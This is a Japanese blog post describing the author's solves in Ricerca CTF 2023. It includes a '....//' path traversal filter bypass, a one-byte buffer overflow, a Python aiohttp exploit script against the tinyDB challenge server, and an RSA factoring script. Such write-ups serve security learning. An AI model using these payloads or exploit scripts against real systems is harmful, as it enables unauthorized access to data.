Ricerca CTF 2023 writeup

最近Cryptohackを少しやってたこともあり、参加してみた

初心者用問題がいくつもあったので、取り組みやすいコンテストだった

37/187位だった(後1,2問解きたかった...)


技術的に人に参考にされるレベルでもないので、writeupというか参加記のつもりで書く

解けた問題

welcome

discordに貼られているフラグを投げると点がもらえた

crackme

与えられたバイナリをghidraに突っ込んでみたらパスワードがマッチするべき文字列が見えたのでそれを入れた

Revolving Letters

平文をキーを用いてバイトごとにシフトする暗号が実装されている

キーと暗号文が与えられているので、逆向きにシフトすれば複合できる

Cat Cafe

地味に詰まってしまったWeb問

配布ファイルがあることに気づかず、謎にサイト上にある画像でステガノみたいなことするのかと思ってた

配布ファイルを見ると、親のディレクトリにあるflag.txtを読み込みたいが、../が空文字列に変換されるフィルタが存在している

変換が再帰的でないので、....//みたいにするとフィルタを回避できる

BOFSec

配布されたコードを見ると、scanfがオーバーフローする箇所があり、オーバーフローさせた変数と同じ構造体内にあるメンバを上書きすればフラグを取れることが分かる

何も気にせず1byte分オーバーフローさせたらフラグが取れた

tinyDB

沼ってしまったweb問

Mapで管理されているデータベースがあり、排他制御とかされてなさそうだったのでタイミング攻撃的なことをずっと考えていた

    auth.username = "admin";
    auth.password = getAdminPW();
    userDB.set(auth, "admin");
    auth.password = "*".repeat(auth.password.length);

の4行目のパスワードの上書きが、データベース内のオブジェクトも上書きしてしまっているのが脆弱性の原因ぽい

同じセッションで10回適当にユーザを追加した後に、admin:******みたいなもので/get_flagを叩くとフラグが取れる

exploit

import asyncio
import json
import aiohttp

async def send_post_request(session, url, data):
    headers = {'Content-Type': 'application/json'}
    async with session.post(url, headers=headers, data=json.dumps(data)) as response:
        response_data = await response.json()
        print(response_data)
        print(response.cookies)

async def main():
    cookies = {"sessionId": "hogefugapiyo"}
    async with aiohttp.ClientSession(cookies=cookies) as session:
        nums = [1, 8, 1]
        for _, num in enumerate(nums):
            urls = ["http://tinydb.2023.ricercactf.com:8888/set_user" for _ in range(num)]
            data = [{'username': 'hoge', 'password': f"{i}_{_}"} for i in range(num)]
            tasks = []
            for url, data in zip(urls, data):
                tasks.append(asyncio.ensure_future(send_post_request(session, url, data)))
            await asyncio.gather(*tasks)
        
        data = {'username': 'admin', 'password': "********************************"}
        tasks.append(asyncio.ensure_future(send_post_request(session, "http://tinydb.2023.ricercactf.com:8888/get_flag", data)))
        await asyncio.gather(*tasks)

asyncio.run(main())

Rotated Secrete Analysis

RSA暗号だが、 p = p1 * pow(2,512) + p2, q = p2 * pow(2,512) + p1 という関係式がある(p1, p2は512bit)

大人しく手元で式変形してにらむと、p1+p2p1^2+p2^2の情報がほとんどnから取得できることがわかる(nを512bitずつにブロックとしてみると見える)
注意点としては、繰り上がりが発生しうるので、計算の整合性が合うように調節する必要がある

exploit

from Crypto.Util.number import long_to_bytes, inverse

def sqrt_int(a):
    l = 1
    r = a
    while r-l > 1:
        mid = (l+r) //2
        if mid*mid <= a:
            l = mid
        else:
            r = mid
    return l
            

n=24456513668907101359271796518022987404822072050667823923658615869713366383971188719969649435049035576669472727127263581903194099017975695864947929128367925596885753443249213201464273639499012909424736149608651744371555837721791748016889531637876303898022555235081004895411069645304985372521003721010862125442095042882100526577024974456438653686633405126923109918116756381929718438800103893677616376097141956262119327549521930637736951686117614349172207432863248304206515910202829219635801301165048124304406561437145821967710958494879876995451567574220240353599402105475654480414974342875582148522218019743166820077511
e=65537
c=18597341961729093099197297749831937867867316311655201999082918827905805371478429928112783157010654738161403312986940377995349388331953112844242407426040120302839420903486499187443737383169223520050969011318937950864196985991944523897440559547618789750180738003138383081085865616976666352985134179471231798760776607911573149993314296253654585181164097972479570867395976653829684069633563438561147707530130563531572708010593487686521808574459865586551335422619675302973576174518308347087901889923892503468385483111040271271572302540992212613766789315482719811321158322571666641755809592299352653626100918299699982602448

# x = p1*p2
# y = p1^2 + p2^2
# 繰り上がり
x = n % pow(2,512) + (n // pow(2,512+1024)) * pow(2,512) - pow(2,512)
y = (n % pow(2,1024+512)) // pow(2,512) - x//pow(2,512) - (x%pow(2,512))*pow(2,512) + pow(2,1024)
# X = p1 + p2
X = sqrt_int(y+2*x)
print(X*X)
print(y+2*x)
assert X*X == y+2*x
# Y = p1 - p2
Y = sqrt_int(y-2*x)
assert Y*Y == y-2*x
p1 = (X + Y) // 2
p2 = X - p1
print(p1)
print(p2)
p = p1*pow(2,512) + p2
q = p2*pow(2,512) + p1

d = inverse(e, (p-1)*(q-1))
m = pow(c,d,n)
print(long_to_bytes(m))

見たけど解けなかった問題達

gatekeeper

base64エンコード前の文字列とエンコード後の文字列が与えられて、デコード結果を変えないが異なるエンコード後の文字列を見つけろというもの
素直な気持ちになると、base64は1対1だし無理じゃない?となるが、途中でパイプをはさんだりしているので、変な文字を入れればなんか回避できるんじゃないかと思ったりした
ヌル文字とか改行文字とかを適当に入れるなどして実験してたが解けなかった

RSALCG

RSAと線形のハッシュ関数を組み合わせたような暗号の問題
ハッシュのサイズは大きいものの、実際に平文の影響を受ける部分が小さいので何とかならんかなと思ったものの何ともならんかった
解法が気になる

My_name_is_Power

zip展開すると4Gぐらいあるバイナリファイルみたいなものが渡される
雰囲気眺めると、Windowsのログだかハードウェアの設定だかのファイルに見える
ググるとPowerForensicsというそれっぽそうなツールもあったが、古いのとホスト機によくわからんツール入れたくなかったので入れなかった
RicSecgrepをかけると一応一か所一致する箇所はあるのだが、フラグの形式をしていなくてよくわからなかった(書いてて思ったが、`RicSec`のstringではなくバイナリで検索するべきだったかも?)

総括

CTFあまりやったことなくても手が動かせる問題セットで楽しかった
途中tinyDBナニモワカランになってふて寝したが、起きてtinyDB見たら簡単やんになったのでリフレッシュも大事